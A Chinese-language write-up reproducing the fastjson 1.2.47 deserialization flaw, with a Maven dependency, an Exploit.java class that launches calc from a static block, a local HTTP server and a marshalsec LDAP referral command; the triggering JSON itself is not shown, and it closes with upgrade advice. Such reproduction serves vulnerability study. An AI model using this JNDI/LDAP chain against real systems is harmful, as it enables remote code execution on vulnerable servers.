fastjson =< 1.2.47 反序列化漏洞復現
HW期間爆出來一個在hw期間使用的fastjson 漏洞,該漏洞無需開啟autoType即可利用成功,建議使用fastjson的用戶盡快升級到> 1.2.47版本(保險起見,建議升級到最新版)
復現詳情
環境
- win10
- fastjson 1.2.47
- jdk 1.8.1
- marshalsec
環境過程
首先先創建maven項目,下載fastjson版本為1.2.47
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
</dependencies>
創建一個Exploit.java
文件,Java 編譯一下生成 Exploit.class 文件
exploit.java內容
public class Exploit {
static {
System.err.println("Pwned");
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
然后啟動http服務,這邊利用python的SimpleHTTPServer來啟動。
python2 -m SimpleHTTPServer
再利用marshalsec轉發,創建一個ldap服務器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit"
最后編寫了一個測試用例
運行即可觸發漏洞。
修復意見
盡快將fastjson升級至1.2.48及以上的版本。